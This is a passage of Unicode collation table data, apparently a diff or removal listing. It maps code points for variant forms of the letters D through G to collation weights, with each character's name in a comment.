-1D625 ; [.1C8F.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL D -1D659 ; [.1C8F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL D -1D68D ; [.1C8F.0020.0005] # MATHEMATICAL MONOSPACE SMALL D -24D3 ; [.1C8F.0020.0006] # CIRCLED LATIN SMALL LETTER D -0044 ; [.1C8F.0020.0008] # LATIN CAPITAL LETTER D -FF24 ; [.1C8F.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER D -216E ; [.1C8F.0020.000A] # ROMAN NUMERAL FIVE HUNDRED -1F113 ; [*0317.0020.0004][.1C8F.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER D -2145 ; [.1C8F.0020.000B] # DOUBLE-STRUCK ITALIC CAPITAL D -1D403 ; [.1C8F.0020.000B] # MATHEMATICAL BOLD CAPITAL D -1D437 ; [.1C8F.0020.000B] # MATHEMATICAL ITALIC CAPITAL D -1D46B ; [.1C8F.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL D -1D49F ; [.1C8F.0020.000B] # MATHEMATICAL SCRIPT CAPITAL D -1D4D3 ; [.1C8F.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL D -1D507 ; [.1C8F.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL D -1D53B ; [.1C8F.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL D -1D56F ; [.1C8F.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL D -1D5A3 ; [.1C8F.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL D -1D5D7 ; [.1C8F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL D -1D60B ; [.1C8F.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL D -1D63F ; [.1C8F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL D -1D673 ; [.1C8F.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL D -24B9 ; [.1C8F.0020.000C] # CIRCLED LATIN CAPITAL LETTER D -1F153 ; [.1C8F.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER D -1D48 ; [.1C8F.0020.0014] # MODIFIER LETTER SMALL D -1F1A5 ; [.1C8F.0020.001C] # SQUARED LATIN SMALL LETTER D -1D30 ; [.1C8F.0020.001D] # MODIFIER LETTER CAPITAL D -1F133 ; [.1C8F.0020.001D] # SQUARED LATIN CAPITAL LETTER D -1F173 ; [.1C8F.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER D -010F ; [.1C8F.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER D WITH CARON -010E ; [.1C8F.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER D WITH CARON -1E0B ; [.1C8F.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER D WITH DOT ABOVE -1E0A ; [.1C8F.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER D WITH DOT ABOVE -1E11 ; [.1C8F.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER D WITH CEDILLA -1E10 ; [.1C8F.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER D WITH CEDILLA -0111 ; [.1C8F.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C8F.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER D WITH STROKE -1E0D ; [.1C8F.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER D WITH DOT BELOW -1E0C ; [.1C8F.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER D WITH DOT BELOW -1E13 ; [.1C8F.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW -1E12 ; [.1C8F.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW -1E0F ; [.1C8F.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER D WITH LINE BELOW -1E0E ; [.1C8F.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER D WITH LINE BELOW -00F0 ; [.1C8F.0020.0004][.0000.0110.0004] # LATIN SMALL LETTER ETH -1DD9 ; [.1C8F.0020.0004][.0000.0110.0004] # COMBINING LATIN SMALL LETTER ETH -00D0 ; [.1C8F.0020.000A][.0000.0110.0004] # LATIN CAPITAL LETTER ETH -1D9E ; [.1C8F.0020.0014][.0000.0110.0014] # MODIFIER LETTER SMALL ETH -1DD8 ; [.1C8F.0020.0004][.0000.0111.0004] # COMBINING LATIN SMALL LETTER INSULAR D -A77A ; [.1C8F.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR D -A779 ; [.1C8F.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR D -3372 ; [.1C8F.0020.001C][.1C47.0020.001C] # SQUARE DA -0238 ; [.1C8F.0020.0004][.1C60.0020.0004] # LATIN SMALL LETTER DB DIGRAPH -33C8 ; [.1C8F.0020.001C][.1C60.0020.001D] # SQUARE DB -1F190 ; [.1C8F.0020.001D][.1D4C.0020.001D] # SQUARE DJ -3397 ; [.1C8F.0020.001C][.1D77.0020.001C] # SQUARE DL -3377 ; [.1C8F.0020.001C][.1DAA.0020.001C] # SQUARE DM -3378 ; [.1C8F.0020.001C][.1DAA.0020.001C][.1C3F.0020.001C] # SQUARE DM SQUARED -3379 ; [.1C8F.0020.001C][.1DAA.0020.001C][.1C40.0020.001C] # SQUARE DM CUBED -01F3 ; [.1C8F.0020.0004][.1F21.0020.0004] # LATIN SMALL LETTER DZ -02A3 ; [.1C8F.0020.0004][.1F21.0020.0004] # LATIN SMALL LETTER DZ DIGRAPH -01F2 ; [.1C8F.0020.000A][.1F21.0020.0004] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z -01F1 ; [.1C8F.0020.000A][.1F21.0020.000A] # LATIN CAPITAL LETTER DZ -01C6 ; [.1C8F.0020.0004][.1F21.0020.0004][.0000.0028.0004] # LATIN SMALL LETTER DZ WITH CARON -01C5 ; [.1C8F.0020.000A][.1F21.0020.0004][.0000.0028.0004] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON -01C4 ; [.1C8F.0020.000A][.1F21.0020.000A][.0000.0028.0004] # LATIN CAPITAL LETTER DZ WITH CARON -02A5 ; [.1C8F.0020.0004][.1F34.0020.0004] # LATIN SMALL LETTER DZ DIGRAPH WITH CURL -02A4 ; [.1C8F.0020.0004][.1F3E.0020.0004] # LATIN SMALL LETTER DEZH DIGRAPH -1D05 ; [.1C93.0020.0002] # LATIN LETTER SMALL CAPITAL D -1D06 ; [.1C94.0020.0002] # LATIN LETTER SMALL CAPITAL ETH -1D6D ; [.1C95.0020.0002] # LATIN SMALL LETTER D WITH MIDDLE TILDE -1D81 ; [.1C96.0020.0002] # LATIN SMALL LETTER D WITH PALATAL HOOK -0256 ; [.1C97.0020.0002] # LATIN SMALL LETTER D WITH TAIL -0189 ; [.1C97.0020.0008] # LATIN CAPITAL LETTER AFRICAN D -0257 ; [.1C9B.0020.0002] # LATIN SMALL LETTER D WITH HOOK -018A ; [.1C9B.0020.0008] # LATIN CAPITAL LETTER D WITH HOOK -1D91 ; [.1C9F.0020.0002] # LATIN SMALL LETTER D WITH HOOK AND TAIL -018C ; [.1CA0.0020.0002] # LATIN SMALL LETTER D WITH TOPBAR -018B ; [.1CA0.0020.0008] # LATIN CAPITAL LETTER D WITH TOPBAR -0221 ; [.1CA4.0020.0002] # LATIN SMALL LETTER D WITH CURL -A771 ; [.1CA8.0020.0002] # LATIN SMALL LETTER DUM -1E9F ; [.1CA9.0020.0002] # LATIN SMALL LETTER DELTA -0065 ; [.1CAA.0020.0002] # LATIN SMALL LETTER E -FF45 ; [.1CAA.0020.0003] # FULLWIDTH LATIN SMALL LETTER E -0364 ; [.1CAA.0020.0004] # COMBINING LATIN SMALL LETTER E -24A0 ; [*0317.0020.0004][.1CAA.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER E -212F ; [.1CAA.0020.0005] # SCRIPT SMALL E -2147 ; [.1CAA.0020.0005] # DOUBLE-STRUCK ITALIC SMALL E -1D41E ; [.1CAA.0020.0005] # MATHEMATICAL BOLD SMALL E -1D452 ; [.1CAA.0020.0005] # MATHEMATICAL ITALIC SMALL E -1D486 ; [.1CAA.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL E -1D4EE ; [.1CAA.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL E -1D522 ; [.1CAA.0020.0005] # MATHEMATICAL FRAKTUR SMALL E -1D556 ; [.1CAA.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL E -1D58A ; [.1CAA.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL E -1D5BE ; [.1CAA.0020.0005] # MATHEMATICAL SANS-SERIF SMALL E -1D5F2 ; [.1CAA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL E -1D626 ; [.1CAA.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL E -1D65A ; [.1CAA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL E -1D68E ; [.1CAA.0020.0005] # MATHEMATICAL MONOSPACE SMALL E -24D4 ; [.1CAA.0020.0006] # CIRCLED LATIN SMALL LETTER E -0045 ; [.1CAA.0020.0008] # LATIN CAPITAL LETTER E -FF25 ; [.1CAA.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER E -1F114 ; [*0317.0020.0004][.1CAA.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER E -2130 ; [.1CAA.0020.000B] # SCRIPT CAPITAL E -1D404 ; [.1CAA.0020.000B] # MATHEMATICAL BOLD CAPITAL E -1D438 ; [.1CAA.0020.000B] # MATHEMATICAL ITALIC CAPITAL E -1D46C ; [.1CAA.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL E -1D4D4 ; [.1CAA.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL E -1D508 ; [.1CAA.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL E -1D53C ; [.1CAA.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL E -1D570 ; [.1CAA.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL E -1D5A4 ; [.1CAA.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL E -1D5D8 ; [.1CAA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL E -1D60C ; [.1CAA.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL E -1D640 ; [.1CAA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL E -1D674 ; [.1CAA.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL E -24BA ; [.1CAA.0020.000C] # CIRCLED LATIN CAPITAL LETTER E -1F154 ; [.1CAA.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER E -1D49 ; [.1CAA.0020.0014] # MODIFIER LETTER SMALL E -2091 ; [.1CAA.0020.0015] # LATIN SUBSCRIPT SMALL LETTER E -1D31 ; [.1CAA.0020.001D] # MODIFIER LETTER CAPITAL E -1F134 ; [.1CAA.0020.001D] # SQUARED LATIN CAPITAL LETTER E -1F174 ; [.1CAA.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER E -00E9 ; [.1CAA.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH ACUTE -00C9 ; [.1CAA.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH ACUTE -00E8 ; [.1CAA.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH GRAVE -00C8 ; [.1CAA.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH GRAVE -0115 ; [.1CAA.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER E WITH BREVE -0114 ; [.1CAA.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER E WITH BREVE -00EA ; [.1CAA.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -00CA ; [.1CAA.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -1EBF ; [.1CAA.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -1EBE ; [.1CAA.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -1EC1 ; [.1CAA.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -1EC0 ; [.1CAA.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -1EC5 ; [.1CAA.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE -1EC4 ; [.1CAA.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE -1EC3 ; [.1CAA.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC2 ; [.1CAA.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -011B ; [.1CAA.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER E WITH CARON -011A ; [.1CAA.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER E WITH CARON -00EB ; [.1CAA.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER E WITH DIAERESIS -00CB ; [.1CAA.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER E WITH DIAERESIS -1EBD ; [.1CAA.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH TILDE -1EBC ; [.1CAA.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH TILDE -0117 ; [.1CAA.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER E WITH DOT ABOVE -0116 ; [.1CAA.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER E WITH DOT ABOVE -0229 ; [.1CAA.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER E WITH CEDILLA -0228 ; [.1CAA.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER E WITH CEDILLA -1E1D ; [.1CAA.0020.0002][.0000.0030.0002][.0000.0026.0002] # LATIN SMALL LETTER E WITH CEDILLA AND BREVE -1E1C ; [.1CAA.0020.0008][.0000.0030.0002][.0000.0026.0002] # LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE -0119 ; [.1CAA.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER E WITH OGONEK -0118 ; [.1CAA.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER E WITH OGONEK -0113 ; [.1CAA.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER E WITH MACRON -0112 ; [.1CAA.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER E WITH MACRON -1E17 ; [.1CAA.0020.0002][.0000.0032.0002][.0000.0024.0002] # LATIN SMALL LETTER E WITH MACRON AND ACUTE -1E16 ; [.1CAA.0020.0008][.0000.0032.0002][.0000.0024.0002] # LATIN CAPITAL LETTER E WITH MACRON AND ACUTE -1E15 ; [.1CAA.0020.0002][.0000.0032.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH MACRON AND GRAVE -1E14 ; [.1CAA.0020.0008][.0000.0032.0002][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH MACRON AND GRAVE -1EBB ; [.1CAA.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH HOOK ABOVE -1EBA ; [.1CAA.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH HOOK ABOVE -0205 ; [.1CAA.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER E WITH DOUBLE GRAVE -0204 ; [.1CAA.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER E WITH DOUBLE GRAVE -0207 ; [.1CAA.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER E WITH INVERTED BREVE -0206 ; [.1CAA.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER E WITH INVERTED BREVE -1EB9 ; [.1CAA.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH DOT BELOW -1EB8 ; [.1CAA.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH DOT BELOW -1EC7 ; [.1CAA.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1EC6 ; [.1CAA.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1E19 ; [.1CAA.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW -1E18 ; [.1CAA.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW -1E1B ; [.1CAA.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER E WITH TILDE BELOW -1E1A ; [.1CAA.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER E WITH TILDE BELOW -32CD ; [.1CAA.0020.001C][.1E33.0020.001C][.1CF4.0020.001C] # SQUARE ERG -32CE ; [.1CAA.0020.001C][.1EE3.0020.001D] # SQUARE EV -1D07 ; [.1CAE.0020.0002] # LATIN LETTER SMALL CAPITAL E -AB32 ; [.1CAF.0020.0002] # LATIN SMALL LETTER BLACKLETTER E -AB33 ; [.1CB0.0020.0002] # LATIN SMALL LETTER BARRED E -0247 ; [.1CB1.0020.0002] # LATIN SMALL LETTER E WITH STROKE -0246 ; [.1CB1.0020.0008] # LATIN CAPITAL LETTER E WITH STROKE -1D92 ; [.1CB5.0020.0002] # LATIN SMALL LETTER E WITH RETROFLEX HOOK -AB34 ; [.1CB6.0020.0002] # LATIN SMALL LETTER E WITH FLOURISH -2C78 ; [.1CB7.0020.0002] # LATIN SMALL LETTER E WITH NOTCH -01DD ; [.1CB8.0020.0002] # LATIN SMALL LETTER TURNED E -018E ; [.1CB8.0020.0008] # LATIN CAPITAL LETTER REVERSED E -1D32 ; [.1CB8.0020.001D] # MODIFIER LETTER CAPITAL REVERSED E -2C7B ; [.1CBC.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED E -0259 ; [.1CBD.0020.0002] # LATIN SMALL LETTER SCHWA -1DEA ; [.1CBD.0020.0004] # COMBINING LATIN SMALL LETTER SCHWA -018F ; [.1CBD.0020.0008] # LATIN CAPITAL LETTER SCHWA -1D4A ; [.1CBD.0020.0014] # MODIFIER LETTER SMALL SCHWA -2094 ; [.1CBD.0020.0015] # LATIN SUBSCRIPT SMALL LETTER SCHWA -1D95 ; [.1CC1.0020.0002] # LATIN SMALL LETTER SCHWA WITH RETROFLEX HOOK -025B ; [.1CC2.0020.0002] # LATIN SMALL LETTER OPEN E -0190 ; [.1CC2.0020.0008] # LATIN CAPITAL LETTER OPEN E -2107 ; [.1CC2.0020.000A] # EULER CONSTANT -1D4B ; [.1CC2.0020.0014] # MODIFIER LETTER SMALL OPEN E -1D93 ; [.1CC6.0020.0002] # LATIN SMALL LETTER OPEN E WITH RETROFLEX HOOK -0258 ; [.1CC7.0020.0002] # LATIN SMALL LETTER REVERSED E -025A ; [.1CCB.0020.0002] # LATIN SMALL LETTER SCHWA WITH HOOK -025C ; [.1CCF.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E -A7AB ; [.1CCF.0020.0008] # LATIN CAPITAL LETTER REVERSED OPEN E -1D9F ; [.1CCF.0020.0014] # MODIFIER LETTER SMALL REVERSED OPEN E -1D94 ; [.1CD3.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E WITH RETROFLEX HOOK -1D08 ; [.1CD4.0020.0002] # LATIN SMALL LETTER TURNED OPEN E -1D4C ; [.1CD4.0020.0014] # MODIFIER LETTER SMALL TURNED OPEN E -025D ; [.1CD5.0020.0002] # LATIN SMALL LETTER REVERSED OPEN E WITH HOOK -025E ; [.1CD9.0020.0002] # LATIN SMALL LETTER CLOSED REVERSED OPEN E -029A ; [.1CDD.0020.0002] # LATIN SMALL LETTER CLOSED OPEN E -0264 ; [.1CE1.0020.0002] # LATIN SMALL LETTER RAMS HORN -0066 ; [.1CE5.0020.0002] # LATIN SMALL LETTER F -FF46 ; [.1CE5.0020.0003] # FULLWIDTH LATIN SMALL LETTER F -1DEB ; [.1CE5.0020.0004] # COMBINING LATIN SMALL LETTER F -24A1 ; [*0317.0020.0004][.1CE5.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER F -1D41F ; [.1CE5.0020.0005] # MATHEMATICAL BOLD SMALL F -1D453 ; [.1CE5.0020.0005] # MATHEMATICAL ITALIC SMALL F -1D487 ; [.1CE5.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL F -1D4BB ; [.1CE5.0020.0005] # MATHEMATICAL SCRIPT SMALL F -1D4EF ; [.1CE5.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL F -1D523 ; [.1CE5.0020.0005] # MATHEMATICAL FRAKTUR SMALL F -1D557 ; [.1CE5.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL F -1D58B ; [.1CE5.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL F -1D5BF ; [.1CE5.0020.0005] # MATHEMATICAL SANS-SERIF SMALL F -1D5F3 ; [.1CE5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL F -1D627 ; [.1CE5.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL F -1D65B ; [.1CE5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL F -1D68F ; [.1CE5.0020.0005] # MATHEMATICAL MONOSPACE SMALL F -24D5 ; [.1CE5.0020.0006] # CIRCLED LATIN SMALL LETTER F -0046 ; [.1CE5.0020.0008] # LATIN CAPITAL LETTER F -FF26 ; [.1CE5.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER F -2109 ; [*04F6.0020.0004][.1CE5.0020.000A] # DEGREE FAHRENHEIT -1F115 ; [*0317.0020.0004][.1CE5.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER F -2131 ; [.1CE5.0020.000B] # SCRIPT CAPITAL F -1D405 ; [.1CE5.0020.000B] # MATHEMATICAL BOLD CAPITAL F -1D439 ; [.1CE5.0020.000B] # MATHEMATICAL ITALIC CAPITAL F -1D46D ; [.1CE5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL F -1D4D5 ; [.1CE5.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL F -1D509 ; [.1CE5.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL F -1D53D ; [.1CE5.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL F -1D571 ; [.1CE5.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL F -1D5A5 ; [.1CE5.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL F -1D5D9 ; [.1CE5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL F -1D60D ; [.1CE5.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL F -1D641 ; [.1CE5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL F -1D675 ; [.1CE5.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL F -24BB ; [.1CE5.0020.000C] # CIRCLED LATIN CAPITAL LETTER F -1F155 ; [.1CE5.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER F -1DA0 ; [.1CE5.0020.0014] # MODIFIER LETTER SMALL F -1F135 ; [.1CE5.0020.001D] # SQUARED LATIN CAPITAL LETTER F -1F175 ; [.1CE5.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER F -1E1F ; [.1CE5.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER F WITH DOT ABOVE -1E1E ; [.1CE5.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER F WITH DOT ABOVE -A77C ; [.1CE5.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR F -A77B ; [.1CE5.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR F -213B ; [.1CE5.0020.000A][.1C47.0020.000A][.1EFF.0020.000A] # FACSIMILE SIGN -FB00 ; [.1CE5.0020.0004][.1CE5.0020.0004] # LATIN SMALL LIGATURE FF -FB03 ; [.1CE5.0020.0004][.1CE5.0020.0004][.1D32.0020.0004] # LATIN SMALL LIGATURE FFI -FB04 ; [.1CE5.0020.0004][.1CE5.0020.0004][.1D77.0020.0004] # LATIN SMALL LIGATURE FFL -FB01 ; [.1CE5.0020.0004][.1D32.0020.0004] # LATIN SMALL LIGATURE FI -FB02 ; [.1CE5.0020.0004][.1D77.0020.0004] # LATIN SMALL LIGATURE FL -3399 ; [.1CE5.0020.001C][.1DAA.0020.001C] # SQUARE FM -02A9 ; [.1CE5.0020.0004][.1DD8.0020.0004] # LATIN SMALL LETTER FENG DIGRAPH -1F193 ; [.1CE5.0020.001D][.1E33.0020.001D][.1CAA.0020.001D][.1CAA.0020.001D] # SQUARED FREE -A730 ; [.1CE9.0020.0002] # LATIN LETTER SMALL CAPITAL F -AB35 ; [.1CEA.0020.0002] # LATIN SMALL LETTER LENIS F -A799 ; [.1CEB.0020.0002] # LATIN SMALL LETTER F WITH STROKE -A798 ; [.1CEB.0020.0008] # LATIN CAPITAL LETTER F WITH STROKE -1D6E ; [.1CEC.0020.0002] # LATIN SMALL LETTER F WITH MIDDLE TILDE -1D82 ; [.1CED.0020.0002] # LATIN SMALL LETTER F WITH PALATAL HOOK -0192 ; [.1CEE.0020.0002] # LATIN SMALL LETTER F WITH HOOK -0191 ; [.1CEE.0020.0008] # LATIN CAPITAL LETTER F WITH HOOK -214E ; [.1CF2.0020.0002] # TURNED SMALL F -2132 ; [.1CF2.0020.0008] # TURNED CAPITAL F -A7FB ; [.1CF3.0020.0002] # LATIN EPIGRAPHIC LETTER REVERSED F -0067 ; [.1CF4.0020.0002] # LATIN SMALL LETTER G -FF47 ; [.1CF4.0020.0003] # FULLWIDTH LATIN SMALL LETTER G -1DDA ; [.1CF4.0020.0004] # COMBINING LATIN SMALL LETTER G -24A2 ; [*0317.0020.0004][.1CF4.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER G -210A ; [.1CF4.0020.0005] # SCRIPT SMALL G -1D420 ; [.1CF4.0020.0005] # MATHEMATICAL BOLD SMALL G -1D454 ; [.1CF4.0020.0005] # MATHEMATICAL ITALIC SMALL G -1D488 ; [.1CF4.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL G -1D4F0 ; [.1CF4.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL G -1D524 ; [.1CF4.0020.0005] # MATHEMATICAL FRAKTUR SMALL G -1D558 ; [.1CF4.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL G -1D58C ; [.1CF4.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL G -1D5C0 ; [.1CF4.0020.0005] # MATHEMATICAL SANS-SERIF SMALL G -1D5F4 ; [.1CF4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL G -1D628 ; [.1CF4.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL G -1D65C ; [.1CF4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL G -1D690 ; [.1CF4.0020.0005] # MATHEMATICAL MONOSPACE SMALL G -24D6 ; [.1CF4.0020.0006] # CIRCLED LATIN SMALL LETTER G -0047 ; [.1CF4.0020.0008] # LATIN CAPITAL LETTER G -FF27 ; [.1CF4.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER G -1F116 ; [*0317.0020.0004][.1CF4.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER G -1D406 ; [.1CF4.0020.000B] # MATHEMATICAL BOLD CAPITAL G -1D43A ; [.1CF4.0020.000B] # MATHEMATICAL ITALIC CAPITAL G -1D46E ; [.1CF4.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL G -1D4A2 ; [.1CF4.0020.000B] # MATHEMATICAL SCRIPT CAPITAL G -1D4D6 ; [.1CF4.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL G -1D50A ; [.1CF4.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL G -1D53E ; [.1CF4.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL G -1D572 ; [.1CF4.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL G -1D5A6 ; [.1CF4.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL G -1D5DA ; [.1CF4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL G -1D60E ; [.1CF4.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL G -1D642 ; [.1CF4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL G -1D676 ; [.1CF4.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL G -24BC ; [.1CF4.0020.000C] # CIRCLED LATIN CAPITAL LETTER G -1F156 ; [.1CF4.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER G -1D4D ; [.1CF4.0020.0014] # MODIFIER LETTER SMALL G -1D33 ; [.1CF4.0020.001D] # MODIFIER LETTER CAPITAL G -1F136 ; 